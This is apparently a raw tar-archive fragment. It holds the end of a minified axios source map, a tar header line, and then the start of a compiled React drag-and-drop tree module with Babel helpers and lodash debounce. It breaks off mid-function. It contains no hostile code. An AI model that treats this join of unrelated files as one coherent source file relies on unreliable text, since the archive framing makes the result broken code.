,IAAwB,OAAZA,IAAgC,IAAZA,CAAiB,EAEzFoW,GACD,SAACA,GASX,IANA,IACIC,EACArW,EAFGnP,GAFPulB,EAAW3c,GAAM1K,QAAQqnB,GAAYA,EAAW,CAACA,IAE1CvlB,OAIDylB,EAAkB,CAAA,EAEf5lB,EAAI,EAAGA,EAAIG,EAAQH,IAAK,CAE/B,IAAIsN,OAAE,EAIN,GAFAgC,EAHAqW,EAAgBD,EAAS1lB,IAKpBylB,GAAiBE,SAGJvlB,KAFhBkP,EAAU8V,IAAe9X,EAAK9H,OAAOmgB,IAAgB3nB,gBAGnD,MAAM,IAAIwK,GAAU,oBAAAyB,OAAqBqD,QAI7C,GAAIgC,EACF,MAGFsW,EAAgBtY,GAAM,IAAMtN,GAAKsP,CACnC,CAEA,IAAKA,EAAS,CAEZ,IAAMuW,EAAUtoB,OAAO2R,QAAQ0W,GAC5BnmB,KAAI,SAAAS,GAAA,IAAAwD,EAAAlE,EAAAU,EAAA,GAAEoN,EAAE5J,EAAA,GAAEoiB,EAAKpiB,EAAA,GAAA,MAAM,WAAAuG,OAAWqD,EAC9BwY,OAAU,IAAVA,EAAkB,sCAAwC,gCAAgC,IAO/F,MAAM,IAAItd,GACR,yDALMrI,EACL0lB,EAAQ1lB,OAAS,EAAI,YAAc0lB,EAAQpmB,IAAI+lB,IAAcrb,KAAK,MAAQ,IAAMqb,GAAaK,EAAQ,IACtG,2BAIA,kBAEJ,CAEA,OAAOvW,CACR,EE5DH,SAASyW,GAA6Bpd,GAKpC,GAJIA,EAAOmT,aACTnT,EAAOmT,YAAYkK,mBAGjBrd,EAAO8U,QAAU9U,EAAO8U,OAAOwB,QACjC,MAAM,IAAInJ,GAAc,KAAMnN,EAElC,CASe,SAASsd,GAAgBtd,GAiBtC,OAhBAod,GAA6Bpd,GAE7BA,EAAO8G,QAAUuC,GAAazI,KAAKZ,EAAO8G,SAG1C9G,EAAO6G,KAAOiG,GAAc3X,KAC1B6K,EACAA,EAAO4G,mBAGgD,IAArD,CAAC,OAAQ,MAAO,SAAS7J,QAAQiD,EAAO4I,SAC1C5I,EAAO8G,QAAQK,eAAe,qCAAqC,GAGrD4V,GAAoB/c,EAAO2G,SAAWF,GAASE,QAExDA,CAAQ3G,GAAQJ,MAAK,SAA6BM,GAYvD,OAXAkd,GAA6Bpd,GAG7BE,EAAS2G,KAAOiG,GAAc3X,KAC5B6K,EACAA,EAAO+H,kBACP7H,GAGFA,EAAS4G,QAAUuC,GAAazI,KAAKV,EAAS4G,SAEvC5G,CACT,IAAG,SAA4B0W,GAe7B,OAdK3J,GAAS2J,KACZwG,GAA6Bpd,GAGzB4W,GAAUA,EAAO1W,WACnB0W,EAAO1W,SAAS2G,KAAOiG,GAAc3X,KACnC6K,EACAA,EAAO+H,kBACP6O,EAAO1W,UAET0W,EAAO1W,SAAS4G,QAAUuC,GAAazI,KAAKgW,EAAO1W,SAAS4G,WAIzD0N,QAAQjH,OAAOqJ,EACxB,GACF,CChFO,IAAM2G,GAAU,QCKjBC,GAAa,CAAA,EAGnB,CAAC,SAAU,UAAW,SAAU,WAAY,SAAU,UAAUrmB,SAAQ,SAAC5B,EAAM8B,GAC7EmmB,GAAWjoB,GAAQ,SAAmBN,GACpC,OAAOQ,EAAOR,KAAUM,GAAQ,KAAO8B,EAAI,EAAI,KAAO,KAAO9B,EAEjE,IAEA,IAAMkoB,GAAqB,CAAA,EAWjBC,GAAChX,aAAe,SAAsBiX,EAAWC,EAAS9d,GAClE,SAAS+d,EAAcC,EAAKC,GAC1B,MAAO,uCAAoDD,EAAM,IAAOC,GAAQje,EAAU,KAAOA,EAAU,GAC7G,CAGA,OAAO,SAAC5D,EAAO4hB,EAAKE,GAClB,IAAkB,IAAdL,EACF,MAAM,IAAI9d,GACRge,EAAcC,EAAK,qBAAuBF,EAAU,OAASA,EAAU,KACvE/d,GAAWoe,gBAef,OAXIL,IAAYH,GAAmBK,KACjCL,GAAmBK,IAAO,EAE1BI,QAAQC,KACNN,EACEC,EACA,+BAAiCF,EAAU,8CAK1CD,GAAYA,EAAUzhB,EAAO4hB,EAAKE,GAE7C,EAmCe,IAAAL,GAAA,CACbS,cAxBF,SAAuBvc,EAASwc,EAAQC,GACtC,GAAuB,WAAnB7oB,EAAOoM,GACT,MAAM,IAAIhC,GAAW,4BAA6BA,GAAW0e,sBAI/D,IAFA,IAAM1mB,EAAOjD,OAAOiD,KAAKgK,GACrBxK,EAAIQ,EAAKL,OACNH,KAAM,GAAG,CACd,IAAMymB,EAAMjmB,EAAKR,GACXsmB,EAAYU,EAAOP,GACzB,GAAIH,EAAJ,CACE,IAAMzhB,EAAQ2F,EAAQic,GAChB5iB,OAAmBzD,IAAVyE,GAAuByhB,EAAUzhB,EAAO4hB,EAAKjc,GAC5D,IAAe,IAAX3G,EACF,MAAM,IAAI2E,GAAW,UAAYie,EAAM,YAAc5iB,EAAQ2E,GAAW0e,qBAG5E,MACA,IAAqB,IAAjBD,EACF,MAAM,IAAIze,GAAW,kBAAoBie,EAAKje,GAAW2e,eAE7D,CACF,EAIEhB,WAAAA,IC9EIA,GAAaG,GAAUH,WASvBiB,GAAK,WACT,SAAAA,EAAYC,GAAgBta,OAAAqa,GAC1BzjB,KAAKyL,SAAWiY,EAChB1jB,KAAK2jB,aAAe,CAClB1e,QAAS,IAAIkE,GACbjE,SAAU,IAAIiE,GAElB,CAEA,IAAAya,EAkKC,OAlKDta,EAAAma,EAAA,CAAA,CAAA7mB,IAAA,UAAAsE,OAAA0iB,EAAAlF,EAAA5C,IAAAC,MAQA,SAAAY,EAAckH,EAAa7e,GAAM,IAAA8e,EAAAxf,EAAA,OAAAwX,IAAAM,MAAA,SAAAC,GAAA,cAAAA,EAAAC,KAAAD,EAAAla,MAAA,KAAA,EAAA,OAAAka,EAAAC,KAAA,EAAAD,EAAAla,KAAA,EAEhBnC,KAAKihB,SAAS4C,EAAa7e,GAAO,KAAA,EAAA,OAAAqX,EAAAG,OAAAH,SAAAA,EAAAc,MAAA,KAAA,EAE/C,GAF+Cd,EAAAC,KAAA,EAAAD,EAAAe,GAAAf,EAAA,MAAA,GAE3CA,EAAAe,cAAepa,MAAO,CAGxBA,MAAMmC,kBAAoBnC,MAAMmC,kBAAkB2e,EAAQ,CAAA,GAAOA,EAAQ,IAAI9gB,MAGvEsB,EAAQwf,EAAMxf,MAAQwf,EAAMxf,MAAM5D,QAAQ,QAAS,IAAM,GAC/D,IACO2b,EAAAe,GAAI9Y,MAGEA,IAAUzC,OAAOwa,EAAAe,GAAI9Y,OAAO5C,SAAS4C,EAAM5D,QAAQ,YAAa,OACzE2b,EAAAe,GAAI9Y,OAAS,KAAOA,GAHpB+X,EAAAe,GAAI9Y,MAAQA,CAMd,CADA,MAAOuI,GACP,CAEJ,CAAC,MAAAwP,EAAAe,GAAA,KAAA,GAAA,IAAA,MAAA,OAAAf,EAAAI,OAAA,GAAAE,EAAA3c,KAAA,CAAA,CAAA,EAAA,IAIJ,KAAA,SAAAie,EAAAC,GAAA,OAAA0F,EAAApqB,MAAAwG,KAAAvG,UAAA,IAAA,CAAAmD,IAAA,WAAAsE,MAED,SAAS2iB,EAAa7e,GAGO,iBAAhB6e,GACT7e,EAASA,GAAU,IACZ0D,IAAMmb,EAEb7e,EAAS6e,GAAe,GAK1B,IAAAnK,EAFA1U,EAAS+R,GAAY/W,KAAKyL,SAAUzG,GAE7B0G,EAAYgO,EAAZhO,aAAc8L,EAAgBkC,EAAhBlC,iBAAkB1L,EAAO4N,EAAP5N,aAElBrP,IAAjBiP,GACFiX,GAAUS,cAAc1X,EAAc,CACpC5B,kBAAmB0Y,GAAW9W,aAAa8W,YAC3CzY,kBAAmByY,GAAW9W,aAAa8W,YAC3CxY,oBAAqBwY,GAAW9W,aAAa8W,GAAkB,WAC9D,GAGmB,MAApBhL,IACEpS,GAAMrK,WAAWyc,GACnBxS,EAAOwS,iBAAmB,CACxB1O,UAAW0O,GAGbmL,GAAUS,cAAc5L,EAAkB,CACxCtP,OAAQsa,GAAmB,SAC3B1Z,UAAW0Z,GAAU,WACpB,IAKPxd,EAAO4I,QAAU5I,EAAO4I,QAAU5N,KAAKyL,SAASmC,QAAU,OAAOvT,cAGjE,IAAI0pB,EAAiBjY,GAAW1G,GAAMtF,MACpCgM,EAAQ4B,OACR5B,EAAQ9G,EAAO4I,SAGjB9B,GAAW1G,GAAMjJ,QACf,CAAC,SAAU,MAAO,OAAQ,OAAQ,MAAO,QAAS,WAClD,SAACyR,UACQ9B,EAAQ8B,EACjB,IAGF5I,EAAO8G,QAAUuC,GAAa/H,OAAOyd,EAAgBjY,GAGrD,IAAMkY,EAA0B,GAC5BC,GAAiC,EACrCjkB,KAAK2jB,aAAa1e,QAAQ9I,SAAQ,SAAoC+nB,GACjC,mBAAxBA,EAAYxa,UAA0D,IAAhCwa,EAAYxa,QAAQ1E,KAIrEif,EAAiCA,GAAkCC,EAAYza,YAE/Eua,EAAwBG,QAAQD,EAAY3a,UAAW2a,EAAY1a,UACrE,IAEA,IAKI4a,EALEC,EAA2B,GACjCrkB,KAAK2jB,aAAaze,SAAS/I,SAAQ,SAAkC+nB,GACnEG,EAAyB3hB,KAAKwhB,EAAY3a,UAAW2a,EAAY1a,SACnE,IAGA,IACIzM,EADAV,EAAI,EAGR,IAAK4nB,EAAgC,CACnC,IAAMK,EAAQ,CAAChC,GAAgBjpB,KAAK2G,WAAOvD,GAO3C,IANA6nB,EAAMH,QAAQ3qB,MAAM8qB,EAAON,GAC3BM,EAAM5hB,KAAKlJ,MAAM8qB,EAAOD,GACxBtnB,EAAMunB,EAAM9nB,OAEZ4nB,EAAU5K,QAAQlH,QAAQtN,GAEnB3I,EAAIU,GACTqnB,EAAUA,EAAQxf,KAAK0f,EAAMjoB,KAAMioB,EAAMjoB,MAG3C,OAAO+nB,CACT,CAEArnB,EAAMinB,EAAwBxnB,OAE9B,IAAImc,EAAY3T,EAIhB,IAFA3I,EAAI,EAEGA,EAAIU,GAAK,CACd,IAAMwnB,EAAcP,EAAwB3nB,KACtCmoB,EAAaR,EAAwB3nB,KAC3C,IACEsc,EAAY4L,EAAY5L,EAI1B,CAHE,MAAO9S,GACP2e,EAAWrqB,KAAK6F,KAAM6F,GACtB,KACF,CACF,CAEA,IACEue,EAAU9B,GAAgBnoB,KAAK6F,KAAM2Y,EAGvC,CAFE,MAAO9S,GACP,OAAO2T,QAAQjH,OAAO1M,EACxB,CAKA,IAHAxJ,EAAI,EACJU,EAAMsnB,EAAyB7nB,OAExBH,EAAIU,GACTqnB,EAAUA,EAAQxf,KAAKyf,EAAyBhoB,KAAMgoB,EAAyBhoB,MAGjF,OAAO+nB,CACT,GAAC,CAAAxnB,IAAA,SAAAsE,MAED,SAAO8D,GAGL,OAAOyD,GADUgO,IADjBzR,EAAS+R,GAAY/W,KAAKyL,SAAUzG,IACE0R,QAAS1R,EAAO0D,KAC5B1D,EAAOuD,OAAQvD,EAAOwS,iBAClD,KAACiM,CAAA,CA3KQ,GA+KXre,GAAMjJ,QAAQ,CAAC,SAAU,MAAO,OAAQ,YAAY,SAA6ByR,GAE/E6V,GAAM5pB,UAAU+T,GAAU,SAASlF,EAAK1D,GACtC,OAAOhF,KAAKiF,QAAQ8R,GAAY/R,GAAU,CAAA,EAAI,CAC5C4I,OAAAA,EACAlF,IAAAA,EACAmD,MAAO7G,GAAU,CAAA,GAAI6G,QAG3B,IAEAzG,GAAMjJ,QAAQ,CAAC,OAAQ,MAAO,UAAU,SAA+ByR,GAGrE,SAAS6W,EAAmBC,GAC1B,OAAO,SAAoBhc,EAAKmD,EAAM7G,GACpC,OAAOhF,KAAKiF,QAAQ8R,GAAY/R,GAAU,CAAA,EAAI,CAC5C4I,OAAAA,EACA9B,QAAS4Y,EAAS,CAChB,eAAgB,uBACd,CAAE,EACNhc,IAAAA,EACAmD,KAAAA,KAGN,CAEA4X,GAAM5pB,UAAU+T,GAAU6W,IAE1BhB,GAAM5pB,UAAU+T,EAAS,QAAU6W,GAAmB,EACxD,IAEA,IAAAE,GAAelB,GC3GfmB,GA7GiB,WACf,SAAAC,EAAYC,GACV,GADoB1b,OAAAyb,GACI,mBAAbC,EACT,MAAM,IAAIhe,UAAU,gCAGtB,IAAIie,EAEJ/kB,KAAKokB,QAAU,IAAI5K,SAAQ,SAAyBlH,GAClDyS,EAAiBzS,CACnB,IAEA,IAAM/L,EAAQvG,KAGdA,KAAKokB,QAAQxf,MAAK,SAAAuW,GAChB,GAAK5U,EAAMye,WAAX,CAIA,IAFA,IAAI3oB,EAAIkK,EAAMye,WAAWxoB,OAElBH,KAAM,GACXkK,EAAMye,WAAW3oB,GAAG8e,GAEtB5U,EAAMye,WAAa,IAPI,CAQzB,IAGAhlB,KAAKokB,QAAQxf,KAAO,SAAAqgB,GAClB,IAAIC,EAEEd,EAAU,IAAI5K,SAAQ,SAAAlH,GAC1B/L,EAAM8U,UAAU/I,GAChB4S,EAAW5S,CACb,IAAG1N,KAAKqgB,GAMR,OAJAb,EAAQjJ,OAAS,WACf5U,EAAMsT,YAAYqL,IAGbd,GAGTU,GAAS,SAAgBhgB,EAASE,EAAQC,GACpCsB,EAAMqV,SAKVrV,EAAMqV,OAAS,IAAIzJ,GAAcrN,EAASE,EAAQC,GAClD8f,EAAexe,EAAMqV,QACvB,GACF,CAuDC,OArDDtS,EAAAub,EAAA,CAAA,CAAAjoB,IAAA,mBAAAsE,MAGA,WACE,GAAIlB,KAAK4b,OACP,MAAM5b,KAAK4b,MAEf,GAEA,CAAAhf,IAAA,YAAAsE,MAIA,SAAUiT,GACJnU,KAAK4b,OACPzH,EAASnU,KAAK4b,QAIZ5b,KAAKglB,WACPhlB,KAAKglB,WAAWtiB,KAAKyR,GAErBnU,KAAKglB,WAAa,CAAC7Q,EAEvB,GAEA,CAAAvX,IAAA,cAAAsE,MAIA,SAAYiT,GACV,GAAKnU,KAAKglB,WAAV,CAGA,IAAMld,EAAQ9H,KAAKglB,WAAWjjB,QAAQoS,IACvB,IAAXrM,GACF9H,KAAKglB,WAAWG,OAAOrd,EAAO,EAHhC,CAKF,IAEA,CAAA,CAAAlL,IAAA,SAAAsE,MAIA,WACE,IAAIia,EAIJ,MAAO,CACL5U,MAJY,IAAIse,GAAY,SAAkBO,GAC9CjK,EAASiK,CACX,IAGEjK,OAAAA,EAEJ,KAAC0J,CAAA,CA1Gc,GCXjB,IAAMQ,GAAiB,CACrBC,SAAU,IACVC,mBAAoB,IACpBC,WAAY,IACZC,WAAY,IACZC,GAAI,IACJC,QAAS,IACTC,SAAU,IACVC,4BAA6B,IAC7BC,UAAW,IACXC,aAAc,IACdC,eAAgB,IAChBC,YAAa,IACbC,gBAAiB,IACjBC,OAAQ,IACRC,gBAAiB,IACjBC,iBAAkB,IAClBC,MAAO,IACPC,SAAU,IACVC,YAAa,IACbC,SAAU,IACVC,OAAQ,IACRC,kBAAmB,IACnBC,kBAAmB,IACnBC,WAAY,IACZC,aAAc,IACdC,gBAAiB,IACjBC,UAAW,IACXC,SAAU,IACVC,iBAAkB,IAClBC,cAAe,IACfC,4BAA6B,IAC7BC,eAAgB,IAChBC,SAAU,IACVC,KAAM,IACNC,eAAgB,IAChBC,mBAAoB,IACpBC,gBAAiB,IACjBC,WAAY,IACZC,qBAAsB,IACtBC,oBAAqB,IACrBC,kBAAmB,IACnBC,UAAW,IACXC,mBAAoB,IACpBC,oBAAqB,IACrBC,OAAQ,IACRC,iBAAkB,IAClBC,SAAU,IACVC,gBAAiB,IACjBC,qBAAsB,IACtBC,gBAAiB,IACjBC,4BAA6B,IAC7BC,2BAA4B,IAC5BC,oBAAqB,IACrBC,eAAgB,IAChBC,WAAY,IACZC,mBAAoB,IACpBC,eAAgB,IAChBC,wBAAyB,IACzBC,sBAAuB,IACvBC,oBAAqB,IACrBC,aAAc,IACdC,YAAa,IACbC,8BAA+B,KAGjCxvB,OAAO2R,QAAQ8Z,IAAgBlpB,SAAQ,SAAAI,GAAkB,IAAAwD,EAAAlE,EAAAU,EAAA,GAAhBK,EAAGmD,EAAA,GAAEmB,EAAKnB,EAAA,GACjDslB,GAAenkB,GAAStE,CAC1B,IAEA,IAAAysB,GAAehE,GCxBf,IAAMiE,GAnBN,SAASC,EAAeC,GACtB,IAAMhsB,EAAU,IAAIimB,GAAM+F,GACpBC,EAAWpwB,EAAKoqB,GAAM5pB,UAAUoL,QAASzH,GAa/C,OAVA4H,GAAM/E,OAAOopB,EAAUhG,GAAM5pB,UAAW2D,EAAS,CAACb,YAAY,IAG9DyI,GAAM/E,OAAOopB,EAAUjsB,EAAS,KAAM,CAACb,YAAY,IAGnD8sB,EAASzvB,OAAS,SAAgB0pB,GAChC,OAAO6F,EAAexS,GAAYyS,EAAe9F,KAG5C+F,CACT,CAGcF,CAAe9d,WAG7B6d,GAAM7F,MAAQA,GAGd6F,GAAMnX,cAAgBA,GACtBmX,GAAMzE,YAAcA,GACpByE,GAAMrX,SAAWA,GACjBqX,GAAM/G,QAAUA,GAChB+G,GAAM3iB,WAAaA,GAGnB2iB,GAAMzkB,WAAaA,GAGnBykB,GAAMI,OAASJ,GAAMnX,cAGrBmX,GAAMK,IAAM,SAAaC,GACvB,OAAOpQ,QAAQmQ,IAAIC,EACrB,EAEAN,GAAMO,OC9CS,SAAgBC,GAC7B,OAAO,SAAc7nB,GACnB,OAAO6nB,EAAStwB,MAAM,KAAMyI,GAEhC,ED6CAqnB,GAAMS,aE7DS,SAAsBC,GACnC,OAAO5kB,GAAMnK,SAAS+uB,KAAsC,IAAzBA,EAAQD,YAC7C,EF8DAT,GAAMvS,YAAcA,GAEpBuS,GAAMjb,aAAeA,GAErBib,GAAMW,WAAa,SAAAhwB,GAAK,OAAIiR,GAAe9F,GAAMxH,WAAW3D,GAAS,IAAIoF,SAASpF,GAASA,EAAM,EAEjGqvB,GAAMY,WAAanI,GAEnBuH,GAAMjE,eAAiBA,GAEvBiE,GAAK,QAAWA"}index.esm.js000064400000502541151677274460007026 0ustar00import React, { Component, Children, cloneElement } from 'react';
import PropTypes from 'prop-types';
import reactDnd, { DragSource, DropTarget, DndContext, DndProvider } from 'react-dnd';
import isEqual from 'lodash.isequal';
import { HTML5Backend } from 'react-dnd-html5-backend';
import { List, AutoSizer } from 'react-virtualized';
import { findDOMNode } from 'react-dom';

function _typeof(obj) {
  "@babel/helpers - typeof";

  if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") {
    _typeof = function (obj) {
      return typeof obj;
    };
  } else {
    _typeof = function (obj) {
      return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj;
    };
  }

  return _typeof(obj);
}

function _classCallCheck(instance, Constructor) {
  if (!(instance instanceof Constructor)) {
    throw new TypeError("Cannot call a class as a function");
  }
}

function _defineProperties(target, props) {
  for (var i = 0; i < props.length; i++) {
    var descriptor = props[i];
    descriptor.enumerable = descriptor.enumerable || false;
    descriptor.configurable = true;
    if ("value" in descriptor) descriptor.writable = true;
    Object.defineProperty(target, descriptor.key, descriptor);
  }
}

function _createClass(Constructor, protoProps, staticProps) {
  if (protoProps) _defineProperties(Constructor.prototype, protoProps);
  if (staticProps) _defineProperties(Constructor, staticProps);
  return Constructor;
}

function _defineProperty(obj, key, value) {
  if (key in obj) {
    Object.defineProperty(obj, key, {
      value: value,
      enumerable: true,
      configurable: true,
      writable: true
    });
  } else {
    obj[key] = value;
  }

  return obj;
}

function _extends() {
  _extends = Object.assign || function (target) {
    for (var i = 1; i < arguments.length; i++) {
      var source = arguments[i];

      for (var key in source) {
        if (Object.prototype.hasOwnProperty.call(source, key)) {
          target[key] = source[key];
        }
      }
    }

    return target;
  };

  return _extends.apply(this, arguments);
}

function ownKeys(object, enumerableOnly) {
  var keys = Object.keys(object);

  if (Object.getOwnPropertySymbols) {
    var symbols = Object.getOwnPropertySymbols(object);
    if (enumerableOnly) symbols = symbols.filter(function (sym) {
      return Object.getOwnPropertyDescriptor(object, sym).enumerable;
    });
    keys.push.apply(keys, symbols);
  }

  return keys;
}

function _objectSpread2(target) {
  for (var i = 1; i < arguments.length; i++) {
    var source = arguments[i] != null ? arguments[i] : {};

    if (i % 2) {
      ownKeys(Object(source), true).forEach(function (key) {
        _defineProperty(target, key, source[key]);
      });
    } else if (Object.getOwnPropertyDescriptors) {
      Object.defineProperties(target, Object.getOwnPropertyDescriptors(source));
    } else {
      ownKeys(Object(source)).forEach(function (key) {
        Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key));
      });
    }
  }

  return target;
}

function _inherits(subClass, superClass) {
  if (typeof superClass !== "function" && superClass !== null) {
    throw new TypeError("Super expression must either be null or a function");
  }

  subClass.prototype = Object.create(superClass && superClass.prototype, {
    constructor: {
      value: subClass,
      writable: true,
      configurable: true
    }
  });
  if (superClass) _setPrototypeOf(subClass, superClass);
}

function _getPrototypeOf(o) {
  _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) {
    return o.__proto__ || Object.getPrototypeOf(o);
  };
  return _getPrototypeOf(o);
}

function _setPrototypeOf(o, p) {
  _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) {
    o.__proto__ = p;
    return o;
  };

  return _setPrototypeOf(o, p);
}

function _isNativeReflectConstruct() {
  if (typeof Reflect === "undefined" || !Reflect.construct) return false;
  if (Reflect.construct.sham) return false;
  if (typeof Proxy === "function") return true;

  try {
    Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
    return true;
  } catch (e) {
    return false;
  }
}

function _objectWithoutPropertiesLoose(source, excluded) {
  if (source == null) return {};
  var target = {};
  var sourceKeys = Object.keys(source);
  var key, i;

  for (i = 0; i < sourceKeys.length; i++) {
    key = sourceKeys[i];
    if (excluded.indexOf(key) >= 0) continue;
    target[key] = source[key];
  }

  return target;
}

function _objectWithoutProperties(source, excluded) {
  if (source == null) return {};

  var target = _objectWithoutPropertiesLoose(source, excluded);

  var key, i;

  if (Object.getOwnPropertySymbols) {
    var sourceSymbolKeys = Object.getOwnPropertySymbols(source);

    for (i = 0; i < sourceSymbolKeys.length; i++) {
      key = sourceSymbolKeys[i];
      if (excluded.indexOf(key) >= 0) continue;
      if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue;
      target[key] = source[key];
    }
  }

  return target;
}

function _assertThisInitialized(self) {
  if (self === void 0) {
    throw new ReferenceError("this hasn't been initialised - super() hasn't been called");
  }

  return self;
}

function _possibleConstructorReturn(self, call) {
  if (call && (typeof call === "object" || typeof call === "function")) {
    return call;
  }

  return _assertThisInitialized(self);
}

function _createSuper(Derived) {
  var hasNativeReflectConstruct = _isNativeReflectConstruct();

  return function _createSuperInternal() {
    var Super = _getPrototypeOf(Derived),
        result;

    if (hasNativeReflectConstruct) {
      var NewTarget = _getPrototypeOf(this).constructor;

      result = Reflect.construct(Super, arguments, NewTarget);
    } else {
      result = Super.apply(this, arguments);
    }

    return _possibleConstructorReturn(this, result);
  };
}

function _toConsumableArray(arr) {
  return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _unsupportedIterableToArray(arr) || _nonIterableSpread();
}

function _arrayWithoutHoles(arr) {
  if (Array.isArray(arr)) return _arrayLikeToArray(arr);
}

function _iterableToArray(iter) {
  if (typeof Symbol !== "undefined" && iter[Symbol.iterator] != null || iter["@@iterator"] != null) return Array.from(iter);
}

function _unsupportedIterableToArray(o, minLen) {
  if (!o) return;
  if (typeof o === "string") return _arrayLikeToArray(o, minLen);
  var n = Object.prototype.toString.call(o).slice(8, -1);
  if (n === "Object" && o.constructor) n = o.constructor.name;
  if (n === "Map" || n === "Set") return Array.from(o);
  if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen);
}

function _arrayLikeToArray(arr, len) {
  if (len == null || len > arr.length) len = arr.length;

  for (var i = 0, arr2 = new Array(len); i < len; i++) arr2[i] = arr[i];

  return arr2;
}

function _nonIterableSpread() {
  throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
}

var commonjsGlobal = typeof globalThis !== 'undefined' ? globalThis : typeof window !== 'undefined' ? window : typeof global !== 'undefined' ? global : typeof self !== 'undefined' ? self : {};

function unwrapExports (x) {
	return x && x.__esModule && Object.prototype.hasOwnProperty.call(x, 'default') ? x['default'] : x;
}

function createCommonjsModule(fn, module) {
	return module = { exports: {} }, fn(module, module.exports), module.exports;
}

/**
 * lodash (Custom Build) <https://lodash.com/>
 * Build: `lodash modularize exports="npm" -o ./`
 * Copyright jQuery Foundation and other contributors <https://jquery.org/>
 * Released under MIT license <https://lodash.com/license>
 * Based on Underscore.js 1.8.3 <http://underscorejs.org/LICENSE>
 * Copyright Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors
 */

/** Used as the `TypeError` message for "Functions" methods. */
var FUNC_ERROR_TEXT = 'Expected a function';

/** Used as references for various `Number` constants. */
var NAN = 0 / 0;

/** `Object#toString` result references. */
var symbolTag = '[object Symbol]';

/** Used to match leading and trailing whitespace. */
var reTrim = /^\s+|\s+$/g;

/** Used to detect bad signed hexadecimal string values. */
var reIsBadHex = /^[-+]0x[0-9a-f]+$/i;

/** Used to detect binary string values. */
var reIsBinary = /^0b[01]+$/i;

/** Used to detect octal string values. */
var reIsOctal = /^0o[0-7]+$/i;

/** Built-in method references without a dependency on `root`. */
var freeParseInt = parseInt;

/** Detect free variable `global` from Node.js. */
var freeGlobal = typeof commonjsGlobal == 'object' && commonjsGlobal && commonjsGlobal.Object === Object && commonjsGlobal;

/** Detect free variable `self`. */
var freeSelf = typeof self == 'object' && self && self.Object === Object && self;

/** Used as a reference to the global object. */
var root = freeGlobal || freeSelf || Function('return this')();

/** Used for built-in method references. */
var objectProto = Object.prototype;

/**
 * Used to resolve the
 * [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring)
 * of values.
 */
var objectToString = objectProto.toString;

/* Built-in method references for those with the same name as other `lodash` methods. */
var nativeMax = Math.max,
    nativeMin = Math.min;

/**
 * Gets the timestamp of the number of milliseconds that have elapsed since
 * the Unix epoch (1 January 1970 00:00:00 UTC).
 *
 * @static
 * @memberOf _
 * @since 2.4.0
 * @category Date
 * @returns {number} Returns the timestamp.
 * @example
 *
 * _.defer(function(stamp) {
 *   console.log(_.now() - stamp);
 * }, _.now());
 * // => Logs the number of milliseconds it took for the deferred invocation.
 */
var now = function() {
  return root.Date.now();
};

/**
 * Creates a debounced function that delays invoking `func` until after `wait`
 * milliseconds have elapsed since the last time the debounced function was
 * invoked. The debounced function comes with a `cancel` method to cancel
 * delayed `func` invocations and a `flush` method to immediately invoke them.
 * Provide `options` to indicate whether `func` should be invoked on the
 * leading and/or trailing edge of the `wait` timeout. The `func` is invoked
 * with the last arguments provided to the debounced function. Subsequent
 * calls to the debounced function return the result of the last `func`
 * invocation.
 *
 * **Note:** If `leading` and `trailing` options are `true`, `func` is
 * invoked on the trailing edge of the timeout only if the debounced function
 * is invoked more than once during the `wait` timeout.
 *
 * If `wait` is `0` and `leading` is `false`, `func` invocation is deferred
 * until to the next tick, similar to `setTimeout` with a timeout of `0`.
 *
 * See [David Corbacho's article](https://css-tricks.com/debouncing-throttling-explained-examples/)
 * for details over the differences between `_.debounce` and `_.throttle`.
 *
 * @static
 * @memberOf _
 * @since 0.1.0
 * @category Function
 * @param {Function} func The function to debounce.
 * @param {number} [wait=0] The number of milliseconds to delay.
 * @param {Object} [options={}] The options object.
 * @param {boolean} [options.leading=false]
 *  Specify invoking on the leading edge of the timeout.
 * @param {number} [options.maxWait]
 *  The maximum time `func` is allowed to be delayed before it's invoked.
 * @param {boolean} [options.trailing=true]
 *  Specify invoking on the trailing edge of the timeout.
 * @returns {Function} Returns the new debounced function.
 * @example
 *
 * // Avoid costly calculations while the window size is in flux.
 * jQuery(window).on('resize', _.debounce(calculateLayout, 150));
 *
 * // Invoke `sendMail` when clicked, debouncing subsequent calls.
 * jQuery(element).on('click', _.debounce(sendMail, 300, {
 *   'leading': true,
 *   'trailing': false
 * }));
 *
 * // Ensure `batchLog` is invoked once after 1 second of debounced calls.
 * var debounced = _.debounce(batchLog, 250, { 'maxWait': 1000 });
 * var source = new EventSource('/stream');
 * jQuery(source).on('message', debounced);
 *
 * // Cancel the trailing debounced invocation.
 * jQuery(window).on('popstate', debounced.cancel);
 */
function debounce(func, wait, options) {
  var lastArgs,
      lastThis,
      maxWait,
      result,
      timerId,
      lastCallTime,
      lastInvokeTime = 0,
      leading = false,
      maxing = false,
      trailing = true;

  if (typeof func != 'function') {
    throw new TypeError(FUNC_ERROR_TEXT);
  }
  wait = toNumber(wait) || 0;
  if (isObject(options)) {
    leading = !!options.leading;
    maxing = 'maxWait' in options;
    maxWait = maxing ? nativeMax(toNumber(options.maxWait) || 0, wait) : maxWait;
    trailing = 'trailing' in options ? !!options.trailing : trailing;
  }

  function invokeFunc(time) {
    var args = lastArgs,
        thisArg = lastThis;

    lastArgs = lastThis = undefined;
    lastInvokeTime = time;
    result = func.apply(thisArg, args);
    return result;
  }

  function leadingEdge(time) {
    // Reset any `maxWait` timer.
    lastInvokeTime = time;
    // Start the timer for the trailing edge.
    timerId = setTimeout(timerExpired, wait);
    // Invoke the leading edge.
    return leading ? invokeFunc(time) : result;
  }

  function remainingWait(time) {
    var timeSinceLastCall = time - lastCallTime,
        timeSinceLastInvoke = time - lastInvokeTime,
        result = wait - timeSinceLastCall;

    return maxing ? nativeMin(result, maxWait - timeSinceLastInvoke) : result;
  }

  function shouldInvoke(time) {
    var timeSinceLastCall = time - lastCallTime,
